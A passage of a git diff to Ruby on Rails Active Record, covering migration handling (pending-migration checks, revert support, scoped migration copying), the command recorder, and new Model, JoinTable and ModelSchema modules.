 
       return if 'SCHEMA' == payload[:name]
 
-      name    = '%s (%.1fms)' % [payload[:name], event.duration]
-      sql     = payload[:sql].squeeze(' ')
-      binds   = nil
+      name  = '%s (%.1fms)' % [payload[:name], event.duration]
+      sql   = payload[:sql].squeeze(' ')
+      binds = nil
 
       unless (payload[:binds] || []).empty?
         binds = "  " + payload[:binds].map { |col,v|
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index d70c7d1d34..703265c334 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,6 +1,5 @@
-require "active_support/core_ext/module/delegation"
 require "active_support/core_ext/class/attribute_accessors"
-require "active_support/core_ext/array/wrap"
+require 'set'
 
 module ActiveRecord
   # Exception that can be raised to stop migrations from going backwards.
@@ -31,6 +30,12 @@ module ActiveRecord
     end
   end
 
+  class PendingMigrationError < ActiveRecordError#:nodoc:
+    def initialize
+      super("Migrations are pending run 'rake db:migrate RAILS_ENV=#{ENV['RAILS_ENV']}' to resolve the issue")
+    end
+  end
+
   # = Active Record Migrations
   #
   # Migrations can manage the evolution of a schema used by several physical
@@ -45,7 +50,7 @@ module ActiveRecord
   #
   #   class AddSsl < ActiveRecord::Migration
   #     def up
-  #       add_column :accounts, :ssl_enabled, :boolean, :default => 1
+  #       add_column :accounts, :ssl_enabled, :boolean, :default => true
   #     end
   #
   #     def down
@@ -231,7 +236,7 @@ module ActiveRecord
   #       add_column :people, :salary, :integer
   #       Person.reset_column_information
   #       Person.all.each do |p|
-  #         p.update_attribute :salary, SalaryCalculator.compute(p)
+  #         p.update_column :salary, SalaryCalculator.compute(p)
   #       end
   #     end
   #   end
@@ -251,7 +256,7 @@ module ActiveRecord
   #     ...
   #     say_with_time "Updating salaries..." do
   #       Person.all.each do |p|
-  #         p.update_attribute :salary, SalaryCalculator.compute(p)
+  #         p.update_column :salary, SalaryCalculator.compute(p)
   #       end
   #     end
   #     ...
@@ -302,7 +307,7 @@ module ActiveRecord
   #
   #   class TenderloveMigration < ActiveRecord::Migration
   #     def change
-  #       create_table(:horses) do
+  #       create_table(:horses) do |t|
   #         t.column :content, :text
   #         t.column :remind_at, :datetime
   #       end
@@ -325,10 +330,28 @@ module ActiveRecord
   class Migration
     autoload :CommandRecorder, 'active_record/migration/command_recorder'
 
+
+    # This class is used to verify that all migrations have been run before
+    # loading a web page if config.active_record.migration_error is set to :page_load
+    class CheckPending
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        ActiveRecord::Migration.check_pending!
+        @app.call(env)
+      end
+    end
+
     class << self
       attr_accessor :delegate # :nodoc:
     end
 
+    def self.check_pending!
+      raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?
+    end
+
     def self.method_missing(name, *args, &block) # :nodoc:
       (delegate || superclass.delegate).send(name, *args, &block)
     end
@@ -341,16 +364,28 @@ module ActiveRecord
 
     attr_accessor :name, :version
 
-    def initialize
-      @name       = self.class.name
-      @version    = nil
+    def initialize(name = self.class.name, version = nil)
+      @name       = name
+      @version    = version
       @connection = nil
+      @reverting  = false
     end
 
     # instantiate the delegate object after initialize is defined
     self.verbose  = true
     self.delegate = new
 
+    def revert
+      @reverting = true
+      yield
+    ensure
+      @reverting = false
+    end
+
+    def reverting?
+      @reverting
+    end
+
     def up
       self.class.delegate = self
       return unless self.class.respond_to?(:up)
@@ -384,9 +419,11 @@ module ActiveRecord
             end
             @connection = conn
             time = Benchmark.measure {
-              recorder.inverse.each do |cmd, args|
-                send(cmd, *args)
-              end
+              self.revert {
+                recorder.inverse.each do |cmd, args|
+                  send(cmd, *args)
+                end
+              }
             }
           else
             time = Benchmark.measure { change }
@@ -441,8 +478,11 @@ module ActiveRecord
       arg_list = arguments.map{ |a| a.inspect } * ', '
 
       say_with_time "#{method}(#{arg_list})" do
-        unless arguments.empty? || method == :execute
-          arguments[0] = Migrator.proper_table_name(arguments.first)
+        unless reverting?
+          unless arguments.empty? || method == :execute
+            arguments[0] = Migrator.proper_table_name(arguments.first)
+            arguments[1] = Migrator.proper_table_name(arguments.second) if method == :rename_table
+          end
         end
         return super unless connection.respond_to?(method)
         connection.send(method, *arguments, &block)
@@ -456,26 +496,28 @@ module ActiveRecord
 
       destination_migrations = ActiveRecord::Migrator.migrations(destination)
       last = destination_migrations.last
-      sources.each do |name, path|
+      sources.each do |scope, path|
         source_migrations = ActiveRecord::Migrator.migrations(path)
 
         source_migrations.each do |migration|
           source = File.read(migration.filename)
-          source = "# This migration comes from #{name} (originally #{migration.version})\n#{source}"
+          source = "# This migration comes from #{scope} (originally #{migration.version})\n#{source}"
 
           if duplicate = destination_migrations.detect { |m| m.name == migration.name }
-            options[:on_skip].call(name, migration) if File.read(duplicate.filename) != source && options[:on_skip]
+            if options[:on_skip] && duplicate.scope != scope.to_s
+              options[:on_skip].call(scope, migration)
+            end
             next
           end
 
           migration.version = next_migration_number(last ? last.version + 1 : 0).to_i
-          new_path = File.join(destination, "#{migration.version}_#{migration.name.underscore}.rb")
+          new_path = File.join(destination, "#{migration.version}_#{migration.name.underscore}.#{scope}.rb")
           old_path, migration.filename = migration.filename, new_path
           last = migration
 
-          FileUtils.cp(old_path, migration.filename)
+          File.open(migration.filename, "w") { |f| f.write source }
           copied << migration
-          options[:on_copy].call(name, migration, old_path) if options[:on_copy]
+          options[:on_copy].call(scope, migration, old_path) if options[:on_copy]
           destination_migrations << migration
         end
       end
@@ -494,9 +536,9 @@ module ActiveRecord
 
   # MigrationProxy is used to defer loading of the actual migration classes
   # until they are needed
-  class MigrationProxy < Struct.new(:name, :version, :filename)
+  class MigrationProxy < Struct.new(:name, :version, :filename, :scope)
 
-    def initialize(name, version, filename)
+    def initialize(name, version, filename, scope)
       super
       @migration = nil
     end
@@ -505,7 +547,7 @@ module ActiveRecord
       File.basename(filename)
     end
 
-    delegate :migrate, :announce, :write, :to=>:migration
+    delegate :migrate, :announce, :write, :to => :migration
 
     private
 
@@ -525,16 +567,16 @@ module ActiveRecord
       attr_writer :migrations_paths
       alias :migrations_path= :migrations_paths=
 
-      def migrate(migrations_paths, target_version = nil)
+      def migrate(migrations_paths, target_version = nil, &block)
         case
-          when target_version.nil?
-            up(migrations_paths, target_version)
-          when current_version == 0 && target_version == 0
-            []
-          when current_version > target_version
-            down(migrations_paths, target_version)
-          else
-            up(migrations_paths, target_version)
+        when target_version.nil?
+          up(migrations_paths, target_version, &block)
+        when current_version == 0 && target_version == 0
+          []
+        when current_version > target_version
+          down(migrations_paths, target_version, &block)
+        else
+          up(migrations_paths, target_version, &block)
         end
       end
 
@@ -547,24 +589,33 @@ module ActiveRecord
       end
 
       def up(migrations_paths, target_version = nil)
-        self.new(:up, migrations_paths, target_version).migrate
+        migrations = migrations(migrations_paths)
+        migrations.select! { |m| yield m } if block_given?
+
+        self.new(:up, migrations, target_version).migrate
       end
 
-      def down(migrations_paths, target_version = nil)
-        self.new(:down, migrations_paths, target_version).migrate
+      def down(migrations_paths, target_version = nil, &block)
+        migrations = migrations(migrations_paths)
+        migrations.select! { |m| yield m } if block_given?
+
+        self.new(:down, migrations, target_version).migrate
       end
 
       def run(direction, migrations_paths, target_version)
-        self.new(direction, migrations_paths, target_version).run
+        self.new(direction, migrations(migrations_paths), target_version).run
+      end
+
+      def open(migrations_paths)
+        self.new(:up, migrations(migrations_paths), nil)
       end
 
       def schema_migrations_table_name
-        Base.table_name_prefix + 'schema_migrations' + Base.table_name_suffix
+        SchemaMigration.table_name
       end
 
       def get_all_versions
-        table = Arel::Table.new(schema_migrations_table_name)
-        Base.connection.select_values(table.project(table['version'])).map{ |v| v.to_i }.sort
+        SchemaMigration.all.map { |x| x.version.to_i }.sort
       end
 
       def current_version
@@ -576,6 +627,14 @@ module ActiveRecord
         end
       end
 
+      def needs_migration?
+        current_version < last_version
+      end
+
+      def last_version
+        migrations(migrations_paths).last.try(:version)||0
+      end
+
       def proper_table_name(name)
         # Use the Active Record objects own table_name, or pre/suffix from ActiveRecord::Base if name is a symbol/string
         name.table_name rescue "#{ActiveRecord::Base.table_name_prefix}#{name}#{ActiveRecord::Base.table_name_suffix}"
@@ -584,7 +643,7 @@ module ActiveRecord
       def migrations_paths
         @migrations_paths ||= ['db/migrate']
         # just to not break things if someone uses: migration_path = some_string
-        Array.wrap(@migrations_paths)
+        Array(@migrations_paths)
       end
 
       def migrations_path
@@ -592,25 +651,18 @@ module ActiveRecord
       end
 
       def migrations(paths)
-        paths = Array.wrap(paths)
-
-        files = Dir[*paths.map { |p| "#{p}/[0-9]*_*.rb" }]
+        paths = Array(paths)
 
-        seen = Hash.new false
+        files = Dir[*paths.map { |p| "#{p}/**/[0-9]*_*.rb" }]
 
         migrations = files.map do |file|
-          version, name = file.scan(/([0-9]+)_([_a-z0-9]*).rb/).first
+          version, name, scope = file.scan(/([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?.rb/).first
 
           raise IllegalMigrationNameError.new(file) unless version
           version = version.to_i
           name = name.camelize
 
-          raise DuplicateMigrationVersionError.new(version) if seen[version]
-          raise DuplicateMigrationNameError.new(name) if seen[name]
-
-          seen[version] = seen[name] = true
-
-          MigrationProxy.new(name, version, file)
+          MigrationProxy.new(name, version, file, scope)
         end
 
         migrations.sort_by(&:version)
@@ -619,7 +671,7 @@ module ActiveRecord
       private
 
       def move(direction, migrations_paths, steps)
-        migrator = self.new(direction, migrations_paths)
+        migrator = self.new(direction, migrations(migrations_paths))
         start_index = migrator.migrations.index(migrator.current_migration)
 
         if start_index
@@ -630,19 +682,33 @@ module ActiveRecord
       end
     end
 
-    def initialize(direction, migrations_paths, target_version = nil)
+    def initialize(direction, migrations, target_version = nil)
       raise StandardError.new("This database does not yet support migrations") unless Base.connection.supports_migrations?
-      Base.connection.initialize_schema_migrations_table
-      @direction, @migrations_paths, @target_version = direction, migrations_paths, target_version
+
+      @direction         = direction
+      @target_version    = target_version
+      @migrated_versions = nil
+
+      if Array(migrations).grep(String).empty?
+        @migrations = migrations
+      else
+        ActiveSupport::Deprecation.warn "instantiate this class with a list of migrations"
+        @migrations = self.class.migrations(migrations)
+      end
+
+      validate(@migrations)
+
+      ActiveRecord::SchemaMigration.create_table
     end
 
     def current_version
-      migrated.last || 0
+      migrated.sort.last || 0
     end
 
     def current_migration
       migrations.detect { |m| m.version == current_version }
     end
+    alias :current :current_migration
 
     def run
       target = migrations.detect { |m| m.version == @target_version }
@@ -654,96 +720,108 @@ module ActiveRecord
     end
 
     def migrate
-      current = migrations.detect { |m| m.version == current_version }
-      target = migrations.detect { |m| m.version == @target_version }
-
-      if target.nil? && @target_version && @target_version > 0
+      if !target && @target_version && @target_version > 0
         raise UnknownMigrationVersionError.new(@target_version)
       end
 
-      start = up? ? 0 : (migrations.index(current) || 0)
-      finish = migrations.index(target) || migrations.size - 1
-      runnable = migrations[start..finish]
+      running = runnable
 
-      # skip the last migration if we're headed down, but not ALL the way down
-      runnable.pop if down? && target
+      if block_given?
+        ActiveSupport::Deprecation.warn(<<-eomsg)
+block argument to migrate is deprecated, please filter migrations before constructing the migrator
+        eomsg
+        running.select! { |m| yield m }
+      end
 
-      ran = []
-      runnable.each do |migration|
+      running.each do |migration|
         Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger
 
-        seen = migrated.include?(migration.version.to_i)
-
-        # On our way up, we skip migrating the ones we've already migrated
-        next if up? && seen
-
-        # On our way down, we skip reverting the ones we've never migrated
-        if down? && !seen
-          migration.announce 'never migrated, skipping'; migration.write
-          next
-        end
-
         begin
           ddl_transaction do
             migration.migrate(@direction)
             record_version_state_after_migrating(migration.version)
           end
-          ran << migration
         rescue => e
           canceled_msg = Base.connection.supports_ddl_transactions? ? "this and " : ""
           raise StandardError, "An error has occurred, #{canceled_msg}all later migrations canceled:\n\n#{e}", e.backtrace
         end
       end
-      ran
     end
 
-    def migrations
-      @migrations ||= begin
-        migrations = self.class.migrations(@migrations_paths)
-        down? ? migrations.reverse : migrations
+    def runnable
+      runnable = migrations[start..finish]
+      if up?
+        runnable.reject { |m| ran?(m) }
+      else
+        # skip the last migration if we're headed down, but not ALL the way down
+        runnable.pop if target
+        runnable.find_all { |m| ran?(m) }
       end
     end
 
+    def migrations
+      down? ? @migrations.reverse : @migrations.sort_by(&:version)
+    end
+
     def pending_migrations
       already_migrated = migrated
-      migrations.reject { |m| already_migrated.include?(m.version.to_i) }
+      migrations.reject { |m| already_migrated.include?(m.version) }
     end
 
     def migrated
-      @migrated_versions ||= self.class.get_all_versions
+      @migrated_versions ||= Set.new(self.class.get_all_versions)
     end
 
     private
-      def record_version_state_after_migrating(version)
-        table = Arel::Table.new(self.class.schema_migrations_table_name)
-
-        @migrated_versions ||= []
-        if down?
-          @migrated_versions.delete(version)
-          stmt = table.where(table["version"].eq(version.to_s)).compile_delete
-          Base.connection.delete stmt
-        else
-          @migrated_versions.push(version).sort!
-          stmt = table.compile_insert table["version"] => version.to_s
-          Base.connection.insert stmt
-        end
-      end
+    def ran?(migration)
+      migrated.include?(migration.version.to_i)
+    end
 
-      def up?
-        @direction == :up
-      end
+    def target
+      migrations.detect { |m| m.version == @target_version }
+    end
+
+    def finish
+      migrations.index(target) || migrations.size - 1
+    end
+
+    def start
+      up? ? 0 : (migrations.index(current) || 0)
+    end
+
+    def validate(migrations)
+      name ,= migrations.group_by(&:name).find { |_,v| v.length > 1 }
+      raise DuplicateMigrationNameError.new(name) if name
 
-      def down?
-        @direction == :down
+      version ,= migrations.group_by(&:version).find { |_,v| v.length > 1 }
+      raise DuplicateMigrationVersionError.new(version) if version
+    end
+
+    def record_version_state_after_migrating(version)
+      if down?
+        migrated.delete(version)
+        ActiveRecord::SchemaMigration.where(:version => version.to_s).delete_all
+      else
+        migrated << version
+        ActiveRecord::SchemaMigration.create!(:version => version.to_s)
       end
+    end
 
-      # Wrap the migration in a transaction only if supported by the adapter.
-      def ddl_transaction(&block)
-        if Base.connection.supports_ddl_transactions?
-          Base.transaction { block.call }
-        else
-          block.call
-        end
+    def up?
+      @direction == :up
+    end
+
+    def down?
+      @direction == :down
+    end
+
+    # Wrap the migration in a transaction only if supported by the adapter.
+    def ddl_transaction
+      if Base.connection.supports_ddl_transactions?
+        Base.transaction { yield }
+      else
+        yield
       end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index ffee5a081a..95f4360578 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -8,11 +8,14 @@ module ActiveRecord
     # * add_index
     # * add_timestamps
     # * create_table
+    # * create_join_table
     # * remove_timestamps
     # * rename_column
     # * rename_index
     # * rename_table
     class CommandRecorder
+      include JoinTable
+
       attr_accessor :commands, :delegate
 
       def initialize(delegate = nil)
@@ -48,18 +51,26 @@ module ActiveRecord
         super || delegate.respond_to?(*args)
       end
 
-      [:create_table, :change_table, :rename_table, :add_column, :remove_column, :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, :change_column, :change_column_default].each do |method|
+      [:create_table, :create_join_table, :change_table, :rename_table, :add_column, :remove_column, :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, :change_column, :change_column_default, :add_reference, :remove_reference].each do |method|
         class_eval <<-EOV, __FILE__, __LINE__ + 1
           def #{method}(*args)          # def create_table(*args)
             record(:"#{method}", args)  #   record(:create_table, args)
           end                           # end
         EOV
       end
+      alias :add_belongs_to :add_reference
+      alias :remove_belongs_to :remove_reference
 
       private
 
       def invert_create_table(args)
-        [:drop_table, args]
+        [:drop_table, [args.first]]
+      end
+
+      def invert_create_join_table(args)
+        table_name = find_join_table_name(*args)
+
+        [:drop_table, [table_name]]
       end
 
       def invert_rename_table(args)
@@ -93,13 +104,22 @@ module ActiveRecord
         [:remove_timestamps, args]
       end
 
+      def invert_add_reference(args)
+        [:remove_reference, args]
+      end
+      alias :invert_add_belongs_to :invert_add_reference
+
+      def invert_remove_reference(args)
+        [:add_reference, args]
+      end
+      alias :invert_remove_belongs_to :invert_remove_reference
+
       # Forwards any missing method call to the \target.
       def method_missing(method, *args, &block)
         @delegate.send(method, *args, &block)
       rescue NoMethodError => e
         raise e, e.message.sub(/ for #<.*$/, " via proxy for #{@delegate}")
       end
-
     end
   end
 end
diff --git a/activerecord/lib/active_record/migration/join_table.rb b/activerecord/lib/active_record/migration/join_table.rb
new file mode 100644
index 0000000000..e880ae97bb
--- /dev/null
+++ b/activerecord/lib/active_record/migration/join_table.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+  class Migration
+    module JoinTable #:nodoc:
+      private
+
+      def find_join_table_name(table_1, table_2, options = {})
+        options.delete(:table_name) || join_table_name(table_1, table_2)
+      end
+
+      def join_table_name(table_1, table_2)
+        [table_1, table_2].sort.join("_").to_sym
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/model.rb b/activerecord/lib/active_record/model.rb
new file mode 100644
index 0000000000..57553c29eb
--- /dev/null
+++ b/activerecord/lib/active_record/model.rb
@@ -0,0 +1,160 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActiveRecord
+  module Configuration # :nodoc:
+    # This just abstracts out how we define configuration options in AR. Essentially we
+    # have mattr_accessors on the ActiveRecord:Model constant that define global defaults.
+    # Classes that then use AR get class_attributes defined, which means that when they
+    # are assigned the default will be overridden for that class and subclasses. (Except
+    # when options[:global] == true, in which case there is one global value always.)
+    def config_attribute(name, options = {})
+      if options[:global]
+        class_eval <<-CODE, __FILE__, __LINE__ + 1
+          def self.#{name};       ActiveRecord::Model.#{name};       end
+          def #{name};            ActiveRecord::Model.#{name};       end
+          def self.#{name}=(val); ActiveRecord::Model.#{name} = val; end
+        CODE
+      else
+        options[:instance_writer] ||= false
+        class_attribute name, options
+
+        singleton_class.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          remove_method :#{name}
+          def #{name}; ActiveRecord::Model.#{name}; end
+        CODE
+      end
+    end
+  end
+
+  # <tt>ActiveRecord::Model</tt> can be included into a class to add Active Record persistence.
+  # This is an alternative to inheriting from <tt>ActiveRecord::Base</tt>. Example:
+  #
+  #     class Post
+  #       include ActiveRecord::Model
+  #     end
+  #
+  module Model
+    extend ActiveSupport::Concern
+    extend ConnectionHandling
+    extend ActiveModel::Observing::ClassMethods
+
+    # This allows us to detect an ActiveRecord::Model while it's in the process of being included.
+    module Tag; end
+
+    def self.append_features(base)
+      base.class_eval do
+        include Tag
+        extend Configuration
+      end
+
+      super
+    end
+
+    included do
+      extend ActiveModel::Naming
+      extend ActiveSupport::Benchmarkable
+      extend ActiveSupport::DescendantsTracker
+
+      extend QueryCache::ClassMethods
+      extend Querying
+      extend Translation
+      extend DynamicMatchers
+      extend Explain
+      extend ConnectionHandling
+
+      initialize_generated_modules unless self == Base
+    end
+
+    include Persistence
+    include ReadonlyAttributes
+    include ModelSchema
+    include Inheritance
+    include Scoping
+    include Sanitization
+    include AttributeAssignment
+    include ActiveModel::Conversion
+    include Integration
+    include Validations
+    include CounterCache
+    include Locking::Optimistic
+    include Locking::Pessimistic
+    include AttributeMethods
+    include Callbacks
+    include ActiveModel::Observing
+    include Timestamp
+    include Associations
+    include ActiveModel::SecurePassword
+    include AutosaveAssociation
+    include NestedAttributes
+    include Aggregations
+    include Transactions
+    include Reflection
+    include Serialization
+    include Store
+    include Core
+
+    class << self
+      def arel_engine
+        self
+      end
+
+      def abstract_class?
+        false
+      end
+      
+      # Defines the name of the table column which will store the class name on single-table
+      # inheritance situations.
+      def inheritance_column
+        'type'
+      end
+    end
+
+    class DeprecationProxy < BasicObject #:nodoc:
+      def initialize(model = Model, base = Base)
+        @model = model
+        @base  = base
+      end
+
+      def method_missing(name, *args, &block)
+        if @model.respond_to?(name, true)
+          @model.send(name, *args, &block)
+        else
+          ::ActiveSupport::Deprecation.warn(
+            "The object passed to the active_record load hook was previously ActiveRecord::Base " \
+            "(a Class). Now it is ActiveRecord::Model (a Module). You have called `#{name}' which " \
+            "is only defined on ActiveRecord::Base. Please change your code so that it works with " \
+            "a module rather than a class. (Model is included in Base, so anything added to Model " \
+            "will be available on Base as well.)"
+          )
+          @base.send(name, *args, &block)
+        end
+      end
+
+      alias send method_missing
+
+      def extend(*mods)
+        ::ActiveSupport::Deprecation.warn(
+          "The object passed to the active_record load hook was previously ActiveRecord::Base " \
+          "(a Class). Now it is ActiveRecord::Model (a Module). You have called `extend' which " \
+          "would add singleton methods to Model. This is presumably not what you want, since the " \
+          "methods would not be inherited down to Base. Rather than using extend, please use " \
+          "ActiveSupport::Concern + include, which will ensure that your class methods are " \
+          "inherited."
+        )
+        @base.extend(*mods)
+      end
+    end
+  end
+
+  # This hook is where config accessors on Model get defined.
+  #
+  # We don't want to just open the Model module and add stuff to it in other files, because
+  # that would cause Model to load, which causes all sorts of loading order issues.
+  #
+  # We need this hook rather than just using the :active_record one, because users of the
+  # :active_record hook may need to use config options.
+  ActiveSupport.run_load_hooks(:active_record_config, Model)
+
+  # Load Base at this point, because the active_record load hook is run in that file.
+  Base
+end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
new file mode 100644
index 0000000000..99de16cd33
--- /dev/null
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -0,0 +1,347 @@
+
+module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :primary_key_prefix_type, instance_accessor: false
+
+    mattr_accessor :table_name_prefix, instance_accessor: false
+    self.table_name_prefix = ""
+
+    mattr_accessor :table_name_suffix, instance_accessor: false
+    self.table_name_suffix = ""
+
+    mattr_accessor :pluralize_table_names, instance_accessor: false
+    self.pluralize_table_names = true
+  end
+
+  module ModelSchema
+    extend ActiveSupport::Concern
+
+    included do
+      ##
+      # :singleton-method:
+      # Accessor for the prefix type that will be prepended to every primary key column name.
+      # The options are :table_name and :table_name_with_underscore. If the first is specified,
+      # the Product class will look for "productid" instead of "id" as the primary column. If the
+      # latter is specified, the Product class will look for "product_id" instead of "id". Remember
+      # that this is a global setting for all Active Records.
+      config_attribute :primary_key_prefix_type, global: true
+
+      ##
+      # :singleton-method:
+      # Accessor for the name of the prefix string to prepend to every table name. So if set
+      # to "basecamp_", all table names will be named like "basecamp_projects", "basecamp_people",
+      # etc. This is a convenient way of creating a namespace for tables in a shared database.
+      # By default, the prefix is the empty string.
+      #
+      # If you are organising your models within modules you can add a prefix to the models within
+      # a namespace by defining a singleton method in the parent module called table_name_prefix which
+      # returns your chosen prefix.
+      config_attribute :table_name_prefix
+
+      ##
+      # :singleton-method:
+      # Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
+      # "people_basecamp"). By default, the suffix is the empty string.
+      config_attribute :table_name_suffix
+
+      ##
+      # :singleton-method:
+      # Indicates whether table names should be the pluralized versions of the corresponding class names.
+      # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
+      # See table_name for the full rules on table/class naming. This is true, by default.
+      config_attribute :pluralize_table_names
+    end
+
+    module ClassMethods
+      # Guesses the table name (in forced lower-case) based on the name of the class in the
+      # inheritance hierarchy descending directly from ActiveRecord::Base. So if the hierarchy
+      # looks like: Reply < Message < ActiveRecord::Base, then Message is used
+      # to guess the table name even when called on Reply. The rules used to do the guess
+      # are handled by the Inflector class in Active Support, which knows almost all common
+      # English inflections. You can add new inflections in config/initializers/inflections.rb.
+      #
+      # Nested classes are given table names prefixed by the singular form of
+      # the parent's table name. Enclosing modules are not considered.
+      #
+      # ==== Examples
+      #
+      #   class Invoice < ActiveRecord::Base
+      #   end
+      #
+      #   file                  class               table_name
+      #   invoice.rb            Invoice             invoices
+      #
+      #   class Invoice < ActiveRecord::Base
+      #     class Lineitem < ActiveRecord::Base
+      #     end
+      #   end
+      #
+      #   file                  class               table_name
+      #   invoice.rb            Invoice::Lineitem   invoice_lineitems
+      #
+      #   module Invoice
+      #     class Lineitem < ActiveRecord::Base
+      #     end
+      #   end
+      #
+      #   file                  class               table_name
+      #   invoice/lineitem.rb   Invoice::Lineitem   lineitems
+      #
+      # Additionally, the class-level +table_name_prefix+ is prepended and the
+      # +table_name_suffix+ is appended. So if you have "myapp_" as a prefix,
+      # the table name guess for an Invoice class becomes "myapp_invoices".
+      # Invoice::Lineitem becomes "myapp_invoice_lineitems".
+      #
+      # You can also set your own table name explicitly:
+      #
+      #   class Mouse < ActiveRecord::Base
+      #     self.table_name = "mice"
+      #   end
+      #
+      # Alternatively, you can override the table_name method to define your
+      # own computation. (Possibly using <tt>super</tt> to manipulate the default
+      # table name.) Example:
+      #
+      #   class Post < ActiveRecord::Base
+      #     def self.table_name
+      #       "special_" + super
+      #     end
+      #   end
+      #   Post.table_name # => "special_posts"
+      def table_name
+        reset_table_name unless defined?(@table_name)
+        @table_name
+      end
+
+      # Sets the table name explicitly. Example:
+      #
+      #   class Project < ActiveRecord::Base
+      #     self.table_name = "project"
+      #   end
+      #
+      # You can also just define your own <tt>self.table_name</tt> method; see
+      # the documentation for ActiveRecord::Base#table_name.
+      def table_name=(value)
+        value = value && value.to_s
+
+        if defined?(@table_name)
+          return if value == @table_name
+          reset_column_information if connected?
+        end
+
+        @table_name        = value
+        @quoted_table_name = nil
+        @arel_table        = nil
+        @sequence_name     = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
+        @relation          = Relation.new(self, arel_table)
+      end
+
+      # Returns a quoted version of the table name, used to construct SQL statements.
+      def quoted_table_name
+        @quoted_table_name ||= connection.quote_table_name(table_name)
+      end
+
+      # Computes the table name, (re)sets it internally, and returns it.
+      def reset_table_name #:nodoc:
+        self.table_name = if abstract_class?
+          active_record_super == Base ? nil : active_record_super.table_name
+        elsif active_record_super.abstract_class?
+          active_record_super.table_name || compute_table_name
+        else
+          compute_table_name
+        end
+      end
+
+      def full_table_name_prefix #:nodoc:
+        (parents.detect{ |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
+      end
+
+      # The name of the column containing the object's class when Single Table Inheritance is used
+      def inheritance_column
+        (@inheritance_column ||= nil) || active_record_super.inheritance_column
+      end
+
+      # Sets the value of inheritance_column
+      def inheritance_column=(value)
+        @inheritance_column = value.to_s
+        @explicit_inheritance_column = true
+      end
+
+      def sequence_name
+        if base_class == self
+          @sequence_name ||= reset_sequence_name
+        else
+          (@sequence_name ||= nil) || base_class.sequence_name
+        end
+      end
+
+      def reset_sequence_name #:nodoc:
+        @explicit_sequence_name = false
+        @sequence_name          = connection.default_sequence_name(table_name, primary_key)
+      end
+
+      # Sets the name of the sequence to use when generating ids to the given
+      # value, or (if the value is nil or false) to the value returned by the
+      # given block. This is required for Oracle and is useful for any
+      # database which relies on sequences for primary key generation.
+      #
+      # If a sequence name is not explicitly set when using Oracle or Firebird,
+      # it will default to the commonly used pattern of: #{table_name}_seq
+      #
+      # If a sequence name is not explicitly set when using PostgreSQL, it
+      # will discover the sequence corresponding to your primary key for you.
+      #
+      #   class Project < ActiveRecord::Base
+      #     self.sequence_name = "projectseq"   # default would have been "project_seq"
+      #   end
+      def sequence_name=(value)
+        @sequence_name          = value.to_s
+        @explicit_sequence_name = true
+      end
+
+      # Indicates whether the table associated with this class exists
+      def table_exists?
+        connection.schema_cache.table_exists?(table_name)
+      end
+
+      # Returns an array of column objects for the table associated with this class.
+      def columns
+        @columns ||= connection.schema_cache.columns[table_name].map do |col|
+          col = col.dup
+          col.primary = (col.name == primary_key)
+          col
+        end
+      end
+
+      # Returns a hash of column objects for the table associated with this class.
+      def columns_hash
+        @columns_hash ||= Hash[columns.map { |c| [c.name, c] }]
+      end
+
+      def column_types # :nodoc:
+        @column_types ||= decorate_columns(columns_hash.dup)
+      end
+
+      def decorate_columns(columns_hash) # :nodoc:
+        return if columns_hash.empty?
+
+        serialized_attributes.each_key do |key|
+          columns_hash[key] = AttributeMethods::Serialization::Type.new(columns_hash[key])
+        end
+
+        columns_hash.each do |name, col|
+          if create_time_zone_conversion_attribute?(name, col)
+            columns_hash[name] = AttributeMethods::TimeZoneConversion::Type.new(col)
+          end
+        end
+
+        columns_hash
+      end
+
+      # Returns a hash where the keys are column names and the values are
+      # default values when instantiating the AR object for this table.
+      def column_defaults
+        @column_defaults ||= Hash[columns.map { |c| [c.name, c.default] }]
+      end
+
+      # Returns an array of column names as strings.
+      def column_names
+        @column_names ||= columns.map { |column| column.name }
+      end
+
+      # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
+      # and columns used for single table inheritance have been removed.
+      def content_columns
+        @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
+      end
+
+      # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
+      # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
+      # is available.
+      def column_methods_hash #:nodoc:
+        @dynamic_methods_hash ||= column_names.each_with_object(Hash.new(false)) do |attr, methods|
+          attr_name = attr.to_s
+          methods[attr.to_sym]       = attr_name
+          methods["#{attr}=".to_sym] = attr_name
+          methods["#{attr}?".to_sym] = attr_name
+          methods["#{attr}_before_type_cast".to_sym] = attr_name
+        end
+      end
+
+      # Resets all the cached information about columns, which will cause them
+      # to be reloaded on the next request.
+      #
+      # The most common usage pattern for this method is probably in a migration,
+      # when just after creating a table you want to populate it with some default
+      # values, eg:
+      #
+      #  class CreateJobLevels < ActiveRecord::Migration
+      #    def up
+      #      create_table :job_levels do |t|
+      #        t.integer :id
+      #        t.string :name
+      #
+      #        t.timestamps
+      #      end
+      #
+      #      JobLevel.reset_column_information
+      #      %w{assistant executive manager director}.each do |type|
+      #        JobLevel.create(:name => type)
+      #      end
+      #    end
+      #
